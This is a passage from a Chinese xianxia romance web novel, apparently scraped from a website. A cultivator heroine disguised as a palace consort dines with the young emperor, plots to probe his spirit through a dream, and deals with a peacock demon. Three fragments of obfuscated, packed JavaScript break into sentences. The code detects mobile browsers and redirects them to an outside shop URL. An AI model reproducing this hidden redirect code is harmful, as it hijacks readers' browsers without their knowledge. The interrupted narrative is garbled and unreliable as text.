自从发财生病被送去济慈院后,贴身大宫女的职责就落在了小穗身上,沈嫔是个很好伺候的主子,几乎整天整天关在寝殿里不露面,更不会折腾底下伺候的人,小穗跟这位主子不算亲近,但心里还是向着她的,这种时候只能义不容辞去提醒一下了,趁着递茶的机会她在奚萦耳边小声道:“娘娘替皇上布菜吧。” 奚萦闻言,暗道自己大意了,她进宫之前也是学过宫规的,妃嫔与皇帝一起用膳,需要先伺候皇帝吃完,得了恩典才能自己吃,否则一口也捞不着,虽然这破规矩她十分不屑,但也不能当做不知道,否则就不符合沈家三姑娘高门贵女的人设了。 她赶紧起身对景辰行了一礼:“臣妾失礼了,还请陛下恕罪,臣妾这就替您布菜。” 景辰一愣,他也不记得宫规里还有这样一条,但逗奚萦玩笑两句无妨,真让她伺候自己还是不太敢,于是他挥手让伺候的人都退下,见奚萦还站着又连忙拉着她坐到自己身旁:“好了,没别人在了,我们好好吃饭就行,不用讲什么规矩。” 他说着又顺手将一只白瓷碗放到奚萦手边:“今日运气不错,还真有银叶鱼,你快尝尝喜不喜欢。” 可以坐着吃饭谁还能不乐意呢?奚萦觉得小皇帝挺上道的,当即赏了他一个十分真诚的笑容:“多谢陛下。” 其实吃饭这件事对她来说纯属多余,她三岁洗髓入道之后便能辟谷,吃太多凡食于修行无益,再则从小到大她身边都是妖族,他们要么不吃东西,要么净吃些奇奇怪怪的东西,就连最喜欢吃的馋猫发财也只是吃得多而不精,这猫儿吃过宫中御膳后大为惊艳,奚萦便将“沈嫔”的膳食全让给她吃了,故而进宫一个多月,她却还没吃过一顿正经饭。 看在小皇帝这么热情周到的份上,她打算待会儿演得用力点。 景辰倾力推荐的这碗银叶面装在一只小孩拳头大小的瓷碗中,乳白色的浓汤上漂着几粒翠绿的葱花,银丝细面上点缀了一根嫩嫩的小青菜,看上去清爽又鲜灵。 鱼汤入口的瞬间,一股浓郁的鲜香裹住舌尖又冲入鼻端,奚萦不知道该怎么形容这种味道,它温暖、浓郁、鲜活,让人心情一下子就好了起来,就连那些让她脑子拧巴浑身奇怪的感觉也被瞬间赶跑,她现在只想再喝一口鱼汤。 景辰见她不说话,手上却很实诚地连舀三勺汤,顿时就笑了:“好喝对吧?你再尝尝那面,是用鱼肉剁细了裹上面粉揉成的,我小时候极挑嘴,夏天尤其不喜欢吃东西,但只要有银叶面就能多吃几口。” 嘴里含着东西不好说话,奚萦只能对景辰狠狠点头表示赞同,这次还真不是演的。 这碗面分量不多,就算奚萦故意装斯文也很快吃完了,她心满意足地放下碗,见身旁的景辰还在看自己,忽然觉得有点不好意思。 她吃过许多珍贵的灵丹,也喝过饱含灵气的甘泉,然而今日方知,凡人做出来的无用食物竟能如此美味,跟妖族的大锅乱炖和万物皆可烧烤比起来简直就是天壤之别! 奚萦真正开心时眉眼弯弯的,景辰在心里暗自蛐蛐司主大人的演技时,唇边的笑意却怎么也止不住,原本还以为她这样的高人平日里餐风饮露的,恐怕不屑于凡人吃食,他只想着要把如今这时节最鲜美最稀罕的东西端到她面前,却没想到她竟如此喜欢。 忽然找到投喂司主的乐趣,景辰于是自发地扮演起布菜的角色,什么鸳鸯炸肚、八珍脍、炙鹿脯、煨海参、爆炒凤舌、佛手金卷、八宝兔丁、长春卷、金汤豆腐……但凡他觉得不错的,都要让奚萦尝一尝。 除了不爱甜口,奚萦其他的来者不拒,在皇帝陛下热情周到的伺候下,她生平头一次体验到吃撑的感觉,最后艰难地拒绝了他“再尝尝这个”的殷切提议,一顿饭终于到了尾声。 奚萦心满意足,恨不得当场摸摸肚子伸个懒腰,手抬到一半才终于后知后觉地想起,如今扮演的角色是皇帝的小老婆,不是皇帝他老娘,让堂堂天子伺候吃饭是不是有点过分了? 她不动声色地坐得端正了些,假惺惺道:“陛下您都没怎么吃,臣妾实在失礼了……” 景辰觉得她此时的模样用一个词来形容的话就是:老虎打盹儿。 他觉得有趣极了,又忍不住有点感慨。 奚萦这姑娘的出现于他来说就是一个从天而降的奇迹,她带走了折磨他多年的病痛,也带他走进了另一个奇妙的世界。 她似乎上天入地无所不能,胆子大到敢把天捅个窟窿,有时又不着调到连小狗都欺负,常常气得他肝儿疼,但她也心怀仁义有担当,潇洒大气令人心折。 他们相识不久,这段时间吵过嘴赌过气,也一起经历过生死,然而像此时这般并排坐着吃饭却是头一次,她眉眼弯弯一脸满足的模样实在可爱,也不知将来还能再见到几次。 若她能一直留在他身边就好了,就像现在这样。 “陛下,陛下?” “啊,哦,没事,我饭量小,已经吃饱了。” 奚萦讪笑,敢情是自己饭量太大了呗…… 饭吃过了,天也聊过了,奚萦以为今天差不多就到这儿了,然而当她又被景辰拉着坐回窗边软榻上,听他絮絮叨叨地说刚吃完饭不能立即去睡觉之类的废话时,她不禁抬头看了眼窗外。 青天白日的,他莫非要一直赖到晚上就寝的时辰? 这么上赶着的嫌犯,她有点招架不住啊! “陛下早起上朝,又劳累了半日,要不要歇个午觉?” 睡午觉?景辰一点也不想睡午觉,他精神好着呢! “我从前犯头疾时常常整日昏沉,但根本睡不着也做不了其他事,每天都是在熬时间,幸而这段时日大好了,或许是以前躺着无所事事的时候太多,如今倒是不爱躺着了。” 说起这古怪的头疾,奚萦倒是来了兴趣:“陛下是什么时候开始犯头疾的呢?” 景辰:“具体时间记不太清了,大概四五岁的时候吧。哦对了,我三岁时被妖怪掳走差点丢了性命,头疾或许跟这件事有关,但父皇下令封口,如今恐怕除了母后,已经没有人知道此事内情了。” 奚萦深深看了对面人一眼,他一脸坦然不像是在撒谎,但这种宫闱密辛就这么大喇喇地告诉她,是不是过于交浅言深了点? 至于被妖怪掳走差点丢命,后来又被头疾折磨多年,莫非是伤了神魂? 想到这里,奚萦挤出个心疼的表情,柔声道:“陛下这些年真是受苦了。” 趁景辰还没反应过来,她一把拉过他的手,摸向脉门的同时还不忘撒娇似的晃两下以作掩饰。 景辰确实有点懵,虽然两人不是第一次牵手了吧,但这么摸来摸去的,还是有点逾矩了吧…… 但是她实在想摸的话,也不是不行…… 奚萦一探之下便发现景辰确实有修为在身,只是这修为实在少得可怜,大概跟富贵儿旗鼓相当吧,妖邪之气倒是没发现,这更应证了他或许伤了神魂的猜测,但神庭穴在额头上方,探查起来也比较麻烦,找个什么机会呢? 为了掩饰把脉的动作,她晃两下摸两把,上上下下里里外外又晃又摸,景辰也从一开始的“给她摸摸没什么”变成“这么摸是不是有点过分了”,但他又不好意思把手抽回来,渐渐憋红了脸。 “咦,陛下您热吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232585|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >景辰脸红了,奚萦眼睛就亮了,一只魔爪毫不犹豫伸向对面的俊脸,整个贴到他额头上。 其实这也不算什么,富贵儿的脸她也是摸过的,但狗脸上有毛,人脸上可是光溜溜的,肌肤相触时,她手心微凉的温度清晰地传了过来,几乎瞬间,他的脸不受控制地从发红演变成发烫,脖子僵硬,眼睛不知道该看哪儿,舌头也开始打架:“我、我、我没事,没事,就是,是有点热,有一点……” 奚萦完全没有自己在占人便宜的自觉,她甚至整个人往前靠,试图将两人的距离拉得更近一点。 景辰终究是抵挡不住这种过分亲密的接触,慌乱中退到墙角,语气飘忽道:“司,呃沈嫔你忙了一天,要不还是、还是歇息一会儿吧,我、我还有政事要处理,就、下次再来看你。” 他说完就起身下榻,几乎不敢去看奚萦的眼睛,也没等金内侍过来伺候,自己火急火燎地跑了。 然而还没逃出承光殿的大门景辰就有点后悔了。 诚然,他并不讨厌奚萦,甚至可以说有点喜欢,但他觉得这种喜欢应该是出于对朋友的认可,对伙伴的信赖,对能人异士的赞赏,他希望她留在自己身边,也是觉得有她在的话日子会很有趣,他喜欢同她无所顾忌地聊天,喜欢看她开心时明亮的笑眼,也喜欢同她分享美食和见闻…… 他们两人若变成爱侣会是什么模样?他简直不敢想象。 可万一,万一奚萦喜欢他的话怎么办呢?男女之间的那种喜欢! 她这么骄傲的性格,被拒绝了的话肯定会生气吧? 奚萦这姑娘吧,优点很多,连长相都是他欣赏的类型,要是她本人能再有“沈嫔”三分之一,哦不,五分之一的温柔小意的话,那就更完美了! 这样的奚萦若是喜欢他的话,他也不是不能接受…… 唉他刚才怎么就脑子一抽跑了呢!给她摸一下也不会掉块肉,摸就摸吧,希望她别误会自己不愿意让她碰,要不现在回去? 眼看着这双腿已经快要自动改换方向了,身后忽然传来一个十分煞风景的声音:“陛下,陛下您等等奴才啊!咱们这是回蓬莱宫吗?” 景辰回头剜了金内侍一眼,想到今日的折子一本都还没看,他没精打采道:“先回蓬莱宫吧。” 金内侍今天眼睁睁看着他家圣僧似乎有开窍的迹象,搞事的本能蠢蠢欲动,恰好路过漪兰殿,他顺嘴提议道:“陛下可要去看看柳才人?” 景辰正想着待会儿回承光殿要给奚萦带点什么礼物缓解尴尬,被他忽然这么一打岔,好心情顿时去了大半。 “你一天天的闲得慌是吧?回去收拾收拾,跟王朗一起去九曜山安排秋狩事宜吧,今晚就出发!” 金内侍:“……” 最是无情帝王家,他算是看透了!哼,这臭和尚就等着被司主大人骗得底裤都不剩吧!他老蛇不伺候了! * 承光殿中,景辰今天第二次落荒而逃让奚萦有点遗憾,看来只能再找机会探查小皇帝的神魂了,要不晚上用金内侍的身份去他寝殿里试试?安睡符不知道还有没有…… 她已经一天一夜没休息了,虽然不至于累,但终究也不是铁打的,叮嘱孙胡看好门,又嘱咐魇魔变成发财的模样去济慈院销假后,她开始入定修炼。 一下午的时间过得飞快,奚萦刚一睁眼就看到在床边绕圈子的“发财”,她疑惑道:“你这是干嘛呢?” “发财”,也就是魇魔,她表情猥琐中带着八卦,八卦中又带着激动,凑上前小声对奚萦道:“皇上又来了!在外间等了您半个时辰呢!” 奚萦:“啊??” 嘿,这小皇帝未免太好勾搭了点吧! 她的安睡符呢!幻梦符呢!今晚就把这只自己飞到嘴边的鸭子给“睡了”! 48. 一身正气景小狗 “陛下~哎呀您真是的,怎么也不让人叫醒臣妾呢?” 这甜腻腻的腔调把景辰齁得一个激灵,差点把手里的花盆给摔了,他抬头一看,只见奚萦一身浅碧绫丝长裙,俏生生立在门边,笑得比喇叭花都灿烂,一看就知道在憋着坏呢。 景辰不禁暗忖先前跑路的行为是不是得罪她了,否则她眼里为何凶光暗藏? 带着这种疑虑,他更是要打起精神好好表现,招招手示意奚萦过来:“你睡得可好?最近天热,我让人带了一席寒玉簟,待会儿让他们给你换上,还有这些花你也看看,挑你喜欢的放着。” 奚萦微微挑眉,原来这小皇帝又巴巴地送礼来了呀,唉,都怪她魅力太大了! 走到近前她才看清,景辰面前的长桌上摆了好几十盆各色兰花。 “咦,都是兰花呀?” “空谷佳人,香远弥馥,兰花最衬你了。” 奚萦暗道这小皇帝看着青涩,嘴巴却甜得很,不错不错,那她可要好好挑一挑了。 景辰想的却是,上次幻境中奚萦变成兰花的样子实在有趣,他一想起来就想笑,所以就送兰花咯。 奚萦对花花草草可没什么研究,满满一桌兰花她一个都不认识,但朱红粉碧入眼皆美,小孩子才做选择,司主大人当然全都要了。 “臣妾都喜欢呢,陛下会不会觉得臣妾太贪心了?” 景辰大手一挥:“本就是送来让你挑的,你都喜欢的话我高兴还来不及呢。” 其实他也知道若是送灵石法宝之类的东西奚萦可能更喜欢,可惜他没有啊,唯一一件算得上“法宝”的东西还是她送的裤衩,想想也是辛酸啊。 亲自盯着宫人将这一大桌价值万金的宝贝兰花们安顿到承光殿各个角落后,景辰又拉着奚萦坐到老位置上喝茶。 “宫里冷清,平日没什么消遣,天气又热,一直闷在屋里会不会无趣得很?” 奚萦可不无聊,修炼就是她最大的乐趣,但为了狠狠勾住小皇帝,让他顺理成章留宿承光殿或是带她回蓬莱宫,她听到这话立马露出了兴致勃勃的表情:“陛下要带臣妾出去消遣吗?” 景辰见状笑道:“也说不上什么消遣,朱雀楼地势高,站在上面可以俯瞰整座皇宫,今日天气好,去看看落日倒是不错,楼上风大,也不会太热。或者你想去其他地方走走看看也可以。” 看看这宫里哪个旮沓可疑,哪个旮沓有鬼,想掀哪片房顶,撬哪块地砖,司主大人都尽可施为。 景辰想着一起散步顺便办点正事,奚萦却一点也不想办正事,她高兴道:“好啊好啊,臣妾都听您的。” 恰好这时太阳也开始西沉了,两人出发,前往朱雀楼。 朱雀楼高五层,站在最上层的露台上远眺,雍都繁华尽收眼底。 此时夕阳孤悬于天际山巅,余晖染红了半边天空,近处屋顶,鎏金瓦片上似有火光跳动,而随着夕照落幕,夜色从天边一点点逼近,开始吞噬这座繁华的宫城。 奚萦和景辰都没有说话,微风带着点尚未褪尽的热意拂过,偷偷将两人衣袂发梢纠缠到一处,显得亲密无间。 转眼间,天边只剩一点尚未散尽的霞光,雍都城中的灯火也渐渐亮起,星星点点如同流淌在大地上的银河。 奚萦有种奇怪的感觉,这座皇宫像是蛰伏在暗夜中的野兽,正对着偌大的雍都城虎视眈眈。 “怎么样,雍都的落日还是挺好看的吧?” 奚萦回过神来,看向身旁的景辰,他笑容明亮,像个炫耀新玩具的小屁孩,她十分捧场:“确实很漂亮,很震撼。” “我也很久没来这里看日落了……以前父皇在时,倒是经常带我来观景,那时候我还小,还没有这栏杆高,踮起脚也看不到什么风景,父皇就让我骑在他脖子上,这事传到御史那边,有些耿直的老家伙还参我失仪不孝,被父皇狠狠骂了回去。后来我长高了,他也老了,抱不动我了……但朱雀楼上的风景还是跟从前一样。” 景辰脸上露出怀念神色,奚萦心中微动,顺势道:“陛下跟先帝真是父子情深。” 景辰点点头,却没有再继续这个话题,他拉着奚萦下楼:“这里风大,还是别吹太久,我们下去用晚膳吧。” 晚膳摆在朱雀楼中,依然十分丰盛,景辰也仍旧投喂得很起劲。 奚萦比中午时还捧场,毕竟用过晚膳差不多就该睡觉了,她可不得好好表现把小皇帝骗,啊不,哄到自己被窝里去! 在两人殊途同归的默契之下,这顿饭可谓是其乐融融温馨和谐,晚膳用罢,两人没坐轿撵,一起慢悠悠地往承光殿走。 “明日上午我要召见三司的几位大臣处理沅江水患一案,只能中午再来看你了,我们在曲台殿用午膳可好?那边凉快,你中午可以在曲台殿歇息,下午去湖上泛舟……” 景辰絮絮叨叨地安排明日行程,奚萦有一搭没一搭地应着,什么午膳什么泛舟她都没太大兴趣,她现在在琢磨待会儿到底要给景辰安排个什么终身难忘的好梦。 探查神魂跟篡改记忆一样,都是个极其私密的精细活儿,稍有不慎便可能伤及神魂,轻则头疼重则痴傻甚至丧命,就算奚萦和富贵儿这种结了神魂契的主仆也不能轻易探查对方识海,要么两人彼此信赖,愿意放开识海任人探查,要么趁其处于完全放松毫无防备的状态下快速探查。 单纯睡个觉什么都不发生也不划算,毕竟奚萦想尽快拉近两人之间的关系,取得景辰的信任,就如今天这般多透露点密辛往事,而枕边人是最亲密的关系,若能给他来一场以假乱真的春梦的话,那两人关系定然能突飞猛进了! 哎呀呀她没这方面的经验唉,早知道有今日的话,她该去青楼学点本事的啊! “好了,你早些歇息,我明日再来看你。” 奚萦终于回过神来,原来两人不知不觉间已经到了承光殿门口。 景辰站在原地不动,奚萦有点懵:“啊?陛下您不进去吗?” “咳咳,不了不了,今日太晚了,你快回去吧,我,我明日还要上朝,也得早起……” 说到后面景辰的语气都开始发飘,也不敢跟奚萦对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14232586|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视,脚下更是悄悄后退了小半步。 奚萦也没想到这人都走到门口了忽然演起了柳下惠,她伸手扯住景辰的衣袖,语气诚恳中带着点羞怯:“陛下,陛下您走了这么久不口渴吗?要不进去喝杯茶?” 景辰连连摇头:“不、不用了,大晚上的少喝茶,你也是。哦对了,我还有折子没看完,我先回去了,你早点睡。” 开玩笑,司主大人岂是能让人随便占了便宜去的?他敢留宿的话指不定得挨顿打呢,不仅要挨打,恐怕还会给她留下个轻浮浪荡的坏印象,简直亏大发了。 他还是希望他们之间的关系能循序渐进、顺其自然。 但奚萦拉着他不放,无奈之下他只好用另一只手掰着她的肩膀转了个方向,将人半推半拽带到大门里侧后飞快撤退:“快进去吧,我明天肯定来看你。” 他脚步飞快,今日第三次逃命似的跑了。 奚萦看着那道浑身上下写满“正义凛然”的背影消失在小路尽头,有种煮熟的鸭子飞了的无语之感。 一旁看戏半天的魇魔凑上前来,满脸惋惜地跟奚萦耳语:“哎呀您刚才为何不直接动手呢?” 她比划了手刀下劈的姿势,阴恻恻道:“打晕,拖进去,衣服一扒,生米煮成熟饭,完美啊!” 奚萦没好气地白她一眼,转身往门内走:“少出馊主意!” 诚然,她可以直接将人打晕掳回去,暗地里强迫良家少男这种事她狠狠心也不是不能做,但在十几双炯炯有神的目光下强迫良家少男的话,她还是有点拉不下这个脸。 算了算了,今天是她准备不足,等后半夜扮成金内侍溜进蓬莱宫也是一样的,只是如此一来春梦就真的只是个春梦了,一箭双雕没戏,实在可惜。 然而事与愿违,刚回寝殿孙胡就塞过来一只传信纸鹤,是金内侍的信。 “英明神武的司主大人,小人被昏君发配去九曜山干活了,您多多保重,狠狠蹂躏那小子吧!——苦命蛇。” 难怪今天下午没看到金内侍跟在景辰身边,原来是被派去九曜山了。 奚萦一阵无语,这不靠谱的家伙走就走吧,也不说把蓬莱宫的斗艮阵阵盘给她留下,这下她可没办法悄无声息地溜进景辰的寝殿了。 算了算了,条件所限,适当放低要求吧,找个独处的机会把小皇帝放倒探查一番就行了。 让奚萦没想到的是,放倒小皇帝这事居然在之后的几天时间里屡屡受挫。 原因有二,一是姚州传来消息,宣王落水失踪生死不明,景辰大发雷霆,派了不少人前往姚州搜救,更是在朝上借故申斥定国公,令其闭门反省,加上水患一事也开始扯皮,他忙得不可开交,每天只在晚上抽空来承光殿陪奚萦吃顿饭便匆匆离开。 二是孔二毛来了,动不动就一哭二闹三上吊,要替她扮演沈嫔调查皇帝,并坚决反对奚萦亲自探查景辰识海。 他说进入对方识海这事稍不注意就变成神交了,比睡个荤觉的后果还严重,他宁愿牺牲自己也不准奚萦去冒险。 奚萦气得肝儿疼。 49. 能唱会跳的孔二毛 “萦萦啊你听说,男人不是好东西,二十之前是憨批,三十过后头发稀,脑袋长在裤/裆里,花花肠子绕百里,埋进土里都脏了地,哎,脏!了!地!” “你他妈不也是男人吗?!” “谁说的,我可不是男人,我是男妖精!我们鸟妖痴情专一、美貌无双、能歌善舞!萦萦我给你跳个舞吧!” “滚,赶紧滚!” 奚萦将轻身术催到极致,闪电般掠进无损堂中,一进门就急吼吼道:“封峻呢?赶紧把防护阵打开别放那只鸟进来!” 一只灰黄色的方脸狐狸从树上跳下来,撅起屁股伸了个懒腰,伸爪指着大门口笑眯眯道:“晚了,那鸟已经飞进来了。” 奚萦回头,果然看到大门顶上蹲着只绿毛孔雀,见她回头,孔雀立马展开华丽的尾羽,在门头上又是转圈又是抖毛,跳得不亦乐乎。 封峻哈哈大笑,奚萦捂着眼睛直叹气。 求偶舞只有公狐狸看,孔二毛也不跳了,收起尾羽跳下门头,化作俊美无铸的绿衫男子,十分开心地对狐狸挥手:“哟,封兄!” 封峻顿时笑不出来:“封你狗屁的兄!再瞎叫唤信不信老子封你的嘴?” “唉,封兄你怎么这样呢?狐狸狐狸真无情,心比石头还要硬,遥想当年光着腚,一尿尿到老牛头顶——” 封峻顿时炸毛,嚎了几声又比不过孔二毛的大嗓门,他只好放弃,回头对奚萦道:“你的剑在剑炉,自己去取吧。” 说完就溜,封峻在心里开导自己忍一忍,好歹这鸟一来就送了他一截布阵急需的寻木枝,拿人手短,他就假装没听到孔二毛那魔音穿脑般的“封兄、封兄”吧。 奚萦也不想跟癫孔雀搭腔,径直往剑炉去了,但孔二毛可不是什么有眼色的鸟,他一路跟在后面碎碎念:“什么剑啊萦萦?你要换新的剑了吗?我就说富贵儿一般般嘛,换新剑了怎么不告诉我呢,我的尾羽可以给你当剑穗,可漂亮了……” 要不是封峻通知奚萦剑铸好了,她根本不想出宫来的,在宫里时孔二毛还比较收敛,只在晚上溜进来小声逼逼几句,这一出来就不得了了,一路唱啊跳啊满大街地丢人现眼,若不是为了寻木枝的事答应孔二毛至少三天不打他,她非得把这鸟揍得他老娘都不认识。 剑炉很快到了,孔二毛看到炉子前熟悉的身影,社交牛逼症再次发作:“凤儿啊凤儿,好久不见甚是想念,你——” 铸剑师千英出身青凤一族,跟孔二毛也算老相识了,刚听到他的声音,这位身高九尺的铁塔大汉就是一哆嗦,也不敢等孔二毛开嗓唱歌,把剑往奚萦怀里一塞,匆匆道:“剑刚重铸完,还需要仔细养一段时间,最近尽量少用,在下告辞。” “啊,多谢千英大师,慢——” 奚萦话还没说完,千英已经跑得没影了,她回头瞪了满脸无辜的孔二毛一眼,无话可说。 孔二毛的注意力很快就转移到奚萦手中的剑上:“听说剑灵已经化形了,萦萦你快叫出来让我看看吧。” 奚萦识海的伤好了许多,现在叫富贵儿出来倒是不算费劲儿,但她总觉得这一鸟一狗见面没好事,于是拒绝道:“没什么好看的,你有这时间还不如去宣王府帮发财盯着点。” 孔二毛顿时不高兴了:“我就知道你肯定心疼那小皇帝了!萦萦我跟你说啊,最是无情呐帝王家,别看现在当你是牡丹花,三年不到就成狗尾巴,哎呀狗尾巴~” 眼看着这又要唱起来了,奚萦头疼,连忙制止:“别嚎了别嚎了,让你看还不行吗?我可警告你啊,敢欺负我家富贵儿的话我就把你毛拔了挂妖市街口唱够三天三夜!” 孔二毛:“萦萦你也太偏心了吧!” 奚萦:“那不然呢,富贵儿是我的本命剑,你是我的什么?我不偏心他还能偏心你?” 孔二毛:“我不是你的慕羲羲吗?你这无情的女人啊,一颗心比大海还宽广,装得富贵儿装得下皇帝就装不下我了吗?我对你的心意千年万年始终不变的啊……” 景辰醒来时恰好就听到这段“深情告白”,他已经很久没有变成富贵儿,一时还有些不适应,愣愣地抬起前爪瞅了瞅,接着就被人搂着胳膊举了起来,奚萦笑意盈盈地跟他打招呼:“好久不见呀富贵儿!哎呀你是不是长大了点,比之前重了呢!” 这老母亲般欣慰的语气让景辰一时无言以对,但见到原本模样的奚萦他还是很开心,最后哼哼唧唧地“汪”了一声。 “哎呀你怎么还是只会汪汪汪啊?天哪富贵儿你该不会一辈子都不会说人话吧?” 景辰郁闷,只好在心里叫奚萦的名字,试图通过神识跟她沟通,但还没得到回应,一张陌生男人的脸忽然挤到两人中间,审视的目光将他从头到脚扫了一遍。 “怎么是条公狗啊!萦萦你重新炼把本命剑吧,不要公狗,不能要公狗啊!” 一声惨叫响彻剑炉。 景辰摸不着头脑,目光也跟着往下移,看到自己光溜溜,啊也不是光溜溜,是毛乎乎的下半身时,一声惨绝人寰的狗叫再次响彻剑炉。 奚萦想笑又强行忍住了,但她还是很好奇:“富贵儿你的裤衩呢?” 裤衩当然还在蓬莱宫床头的暗格里啊,熏得香喷喷的呢,关键是景辰哪里知道今晚奚萦忽然召唤他,他又不可能天天穿着那条裤衩睡觉。 景辰羞愤又委屈,夹着尾巴哼哼,也不敢用神识联系奚萦了,这时孔二毛的新歌又来了:“哎呀呀,小小狗,长勾勾,没羞没臊没裤头,啊~没!裤!头!” 这下小狗哼哼变成小狗哀嚎了,奚萦被吵得耳朵疼,索性将景辰放下来,一鸟一狗当即追打起来。 孔二毛会飞,景辰的轻身术也不赖,两人打得上天入地难解难分,但孔二毛时不时唱两句“小狗没裤头”之歌,景辰却只能“汪汪汪”,这就比较吃亏了,打到后来狗吠声里都带着点哭腔。 奚萦也不忍心眼睁睁看着自家狗子吃亏,只好上场拉偏架,她随手捡了颗小石子扔出去,正中孔二毛脑袋,将绿孔雀打落之后眼疾手快地捞走景辰。 “萦萦你果然变心了!说清楚,是不是我现在在你心里只能排第三了?狗皇帝,我讨厌狗和皇帝呜呜呜……” 孔二毛逼逼赖赖个没完,景辰的气却消了大半,毕竟奚萦心里排前二的皇帝是他,狗也是他啊,这叫什么,赢两次! 奚萦把景辰放到椅子上,见他嘴边还有一根绿毛,暗道这洁癖狗果然是被气狠了,竟然舍得下嘴咬孔二毛,哎呀真是委屈她家小狗了。 为了帮委屈小狗找回点尊严,她从储物袋翻翻找找,最后找出条素色鲛纱手帕,往狗脖子上一系,裸奔狗就有了披风。 “我家富贵儿真好看呐!” 景辰有点不好意思,汪了一声,侧头蹭了蹭奚萦的手背,然后就听她补充完后半句:“就是傻了点,不会说话不会化形,连自己的裤衩都能弄丢,唉。” 景辰:“……” 孔二毛这时也回来了,见奚萦又是给狗穿衣服又摸狗头的,顿时妒火中烧,嗖一下缩小身体,变成一只巴掌大的小孔雀蹦到桌上,也学景辰的样子用头去蹭奚萦的手。 然后他就挨了个脑瓜崩。 奚萦不耐烦道:“别胡闹了,赶紧说正事,交代给你的事都查得怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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孔二毛猜测道:“大雍朝明面上的确极力打压佛道两家,禁止民间修道出家,但这种事不是官家禁止就能杜绝的,民间很多打着医馆、商会、帮派名义暗中宣扬道法,连朝中官员都有不少偷摸修道的,不过这些都是些胡扯的歪门邪道,没一个正经修士。” “那查到天道宗的线索了吗?” 孔二毛叹气:“没有!倒是查到几个别的邪教,基本都是骗钱骗色的,哦,有个骗妖的仙台会,就之前黑狗妖家的小儿子失踪那事,那小狗崽就是被骗去修仙了,那妖道说什么大道自然,仙途在于本心本能,结果那小狗崽去偷人家种菜用的夜香被逮住了,噫,恶心死了。” 奚萦无语,景辰觉得这孔雀最后说恶心的时候眼神往自己身上瞟,分明是在阴阳他来着。 “修仙,又是修仙啊……这仙台会你盯紧点,之前失踪的狐妖寄心也是被骗去修仙丢了命。” 孔二毛应下,继续道:“还有那个巫心柏,这老树妖是十六年前来雍都妖市开的万宝楼,除了心黑贪利之外,这些年倒是没做太出格的事,但她来雍都之前的经历一片空白,要么是刚化形,要么是刻意隐藏了行踪,你看要不要抓起来审问?” 奚萦摇头:“巫老板曾帮过我,也没有任何证据表明她曾作奸犯科,留意盯着点就行,别轻举妄动。” 孔二毛最后总结陈词:“目前就查到这些,怎么样萦萦,我很厉害吧?比封兄强,比皇帝强,也比富贵儿强对不对?” 这话倒也不算错,这鸟做事还是靠谱的,之前这些事都是交给封峻在查,结果查了十几天都没进展,孔二毛才来三天就查到不少消息,奚萦也不得不服:“不错不错,再接再励啊,咱们妖务司将来就靠你了。” 她一边说一边朝景辰打眼色,示意他该溜了,景辰心领神会,跳下椅子就跑,奚萦也赶紧跟上。 孔二毛原本还得意洋洋地眯着眼歪着脑袋等奚萦给他一个鼓励的摸摸头呢,结果一睁眼人和狗都跑得没影儿了,他气得追在后面唱歌骂景辰:“小狗小狗傻乎乎,脑子不如一头猪,小狗小狗胖嘟嘟,能吃能睡还打呼……” 50. 乱葬岗夜祭 为了摆脱孔二毛的魔音,奚萦和景辰直奔妖市出口,眼前一晃,一人一狗落在了城郊一处民宅。 “快走快走,那蠢鸟就是张狗屁膏药,可别被他粘上了。” 奚萦片刻也不敢耽搁,随便选了个方向飞遁而去,景辰也只得勉力跟上,夜色笼罩下的雍都城郊,一人一狗飞檐走壁,不知道的还以为鬼在撵他们。 一路狂奔,景辰那点可怜兮兮的灵气很快就消耗得差不多,呼哧呼哧喘得快要断气,前面的奚萦却好像忘了她还有条狗,眼看着就要跑得没影儿了,景辰不得不疯狂呼叫她:“奚萦奚萦奚萦奚萦……” 终于,奚萦被叫烦了,折返回来捞起狗继续跑,一直跑到一处破破烂烂的小院子外面才停下,她借着月光看了看门头,又用粗犷的男声冲院子里喊道:“王大山,王大山在吗?” 片刻后,院子里传来狗叫,微弱的灯光亮起,一个老头的声音虚虚应道:“谁啊?” 奚萦没说话,从腰间储物袋中摸出一个粗布荷包,朝院子里一丢,“嘭”一声闷响后又传来狗吃痛的哀鸣,景辰心有戚戚,忍不住白了奚萦一眼,大半夜地跑来打人家的狗,这是什么毛病啊? 奚萦尴尬一笑,顺手撸了把狗头,一个闪身躲到旁边草垛后面,片刻后,小院中传来脚步声,院门被打开,一个佝偻着背的瘦小老头打开门四处张望:“谁啊?谁在叫我?” 没人回应,老头只好关上门回去,景辰听到他小声嘀咕:“谁这么缺德,大晚上的乱扔东西打我家狗……这什么玩意儿啊……” 确认老头拿到东西了,奚萦也不再停留,抄起狗就走,景辰满头雾水,直到听见小院中飘来老头几乎破音的惊呼声“银子!是银子!”,他才恍然大悟,原来司主大人不是闲的没事打人家狗,是来当散财仙女了呢。 一人一狗就这样在夜色中满城跑,总共给五户人家送了银子,还特地叮嘱了城东的狸花猫妖帮着照顾其中一个聋哑老太太。 忙完这些后,奚萦又带着景辰往城西的荒山飞去。 